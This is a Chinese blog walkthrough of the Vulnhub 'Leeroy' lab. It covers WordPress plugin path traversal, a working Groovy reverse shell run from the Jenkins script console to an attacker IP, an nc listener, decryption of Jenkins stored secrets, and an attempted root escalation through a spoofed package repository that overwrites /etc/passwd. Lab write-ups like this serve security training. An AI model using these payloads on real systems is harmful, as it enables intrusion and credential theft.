Vulnhub Leeroy(提权失败求解惑)

Vulnhub Leeroy

基础信息

难度中等
Vulnhub Leeroy(提权失败求解惑)

靶场导入

链接:https://www.vulnhub.com/entry/leeroy-1,611/
镜像可以直接导入到VMware里,导入成功运行后显示如下界面

Vulnhub Leeroy(提权失败求解惑)

主机发现与端口扫描

因为靶机与kali处在同一个网段可以使用nmap进行靶机地址发现

nmap 192.168.1.0/24 

靶机地址为192.168.1.104

Vulnhub Leeroy(提权失败求解惑)

对地址进行详细的端口扫描
开放了5个端口

Vulnhub Leeroy(提权失败求解惑)对这些端口进行访问
80端口只有一张图片没有什么其他隐藏信息

Vulnhub Leeroy(提权失败求解惑)

Vulnhub Leeroy(提权失败求解惑)

访问8080发现这是一个登录端口,但是目前目前没有密码不能进行登录
Vulnhub Leeroy(提权失败求解惑)

访问13380端口,但是它会自动跳转到http://leeroy.htb:13380/
需要在/etc/hosts文件中添加该地址,添加之后再次进行访问就能正常访问了

Vulnhub Leeroy(提权失败求解惑)

Vulnhub Leeroy(提权失败求解惑)点击login in 发现这是wordpress后台可以使用wpscan进行扫描
Vulnhub Leeroy(提权失败求解惑)使用wpscan枚举存在的插件

wpscan --url http://leeroy.htb:13380/ --plugins-detection aggressive --api-token d7tnzIOInzbQzYT2KPaSEQTYYXsdGC34Bq5squMS1aI 

这个是个人申请的api
申请教程:https://blog.csdn.net/weixin_44628122/article/details/107250045

Vulnhub Leeroy(提权失败求解惑)

发现可使用的攻击载荷
Vulnhub Leeroy(提权失败求解惑)Vulnhub Leeroy(提权失败求解惑)修改攻击载荷,查看jerroy用户.bash_history文件里管理员的密码

view-source:http://leeroy.htb:13380/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//home/leeroy/.bash_history 

Vulnhub Leeroy(提权失败求解惑)

使用获取到的账号密码进行登录
用户:admin
密码:[email protected]

Vulnhub Leeroy(提权失败求解惑)

获取shell

首先进入管理界面
Vulnhub Leeroy(提权失败求解惑)然后进入编辑脚本界面
Vulnhub Leeroy(提权失败求解惑)进入编辑页面知道这是一个执行groovy的页面
可以使用该语言反弹shell

String host="192.168.1.107"; int port=1234; String cmd="/bin/bash"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close(); 

Vulnhub Leeroy(提权失败求解惑)

使用nc监听成功反弹shell,获取交互式shell

nc -lnvp 1234 python3 -c 'import pty;pty.spawn ("/bin/bash")' 

Vulnhub Leeroy(提权失败求解惑)

提权(没有成功)

进入home目录下查看能都获取有用信息
/home/leeroy/
Vulnhub Leeroy(提权失败求解惑)查看user.txt发现没有权限
Vulnhub Leeroy(提权失败求解惑)查看 /etc/passwd
发现jenkins
Vulnhub Leeroy(提权失败求解惑)进入该目录查看credentials.xml获取新的用户与密码
因为密码是hash值需要破解
AQAAABAAAAAgXBYO0AVEoYA0D9oynQjqAa+7QnySTgsMd4BbZa9QmVexM+9KFi508EfjODn1lXhx
通过google查找到解密需要的语句

Vulnhub Leeroy(提权失败求解惑)

println( hudson.util.Secret.decrypt("{AQAAABAAAAAgXBYO0AVEoYA0D9oynQjqAa+7QnySTgsMd4BbZa9QmVexM+9KFi508EfjODn1lXhx}") ) 

用户:leeroy
密码:[email protected]!GZs

Vulnhub Leeroy(提权失败求解惑)

通过su命令切换到leeroy用户

Vulnhub Leeroy(提权失败求解惑)

查看之前无法查看的user.txt,给了一串加密字符但是我没有破解出来

Vulnhub Leeroy(提权失败求解惑)

使用sudo -l 查看是否存在可利用的信息
Vulnhub Leeroy(提权失败求解惑)

进入目录查看jenkins_installer文件

Vulnhub Leeroy(提权失败求解惑)

这是一个jenkins的安装过程,可以通过这个方式写入自己的用户与密码并将该用户设置为root权限
查看hosts文件并将kali的地址写入到hosts文件中,因为在执行命令更新的内容需要从kali中下载更新

Vulnhub Leeroy(提权失败求解惑)通过ls命令发现需要jenkins权限进行查看

Vulnhub Leeroy(提权失败求解惑)

将kali的地址写入到文件中,并添加添加Jenkins存储库

echo "192.168.1.107        pkg.jenkins.io" >> /var/lib/jenkins/hosts 

Vulnhub Leeroy(提权失败求解惑)

为了使Jenkins服务器正常运行,需要配置apache2服务,接下来进行apache2的配置

cd /etc/apache2/sites-available/ vi default-ssl.conf 

Vulnhub Leeroy(提权失败求解惑)Vulnhub Leeroy(提权失败求解惑)

根据输入的内容创建所需要的目录/opt/vulnub/debain-stable/binary/
使用touch命令编辑passwd文件

Vulnhub Leeroy(提权失败求解惑)

将lerroy中的passwd内容复制到我们要编辑的文件中,并在文件中添加自己创建的用户,待更新成功后执行自己写入的命令就可以获取root权限了
使用命令生成密码

mkpasswd -m sha-512   使用mkpasswd 512命令生成密码 vi passwd 

这里我设置的密码是123456
Vulnhub Leeroy(提权失败求解惑)

Vulnhub Leeroy(提权失败求解惑)

将写好的passwd文件存入到jenkins_2.222.3_all.deb,并将改文件移动到 /opt/vulnub/debain-stable/binary/目录下
操作成功后开启apache2服务

systemctl start apache2 

进入leeroy用户执行命令进行提权

sudo /usr/share/jenkins/jenkins_installer /etc/passwd 
© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论